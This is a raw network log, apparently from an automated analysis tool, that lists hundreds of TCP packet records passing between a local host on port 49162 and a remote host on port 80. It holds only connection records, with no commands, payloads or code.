Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
Source: global traffic	TCP traffic: 41.185.64.155:80 -> 192.168.2.22:49162
Source: global traffic	TCP traffic: 192.168.2.22:49162 -> 41.185.64.155:80
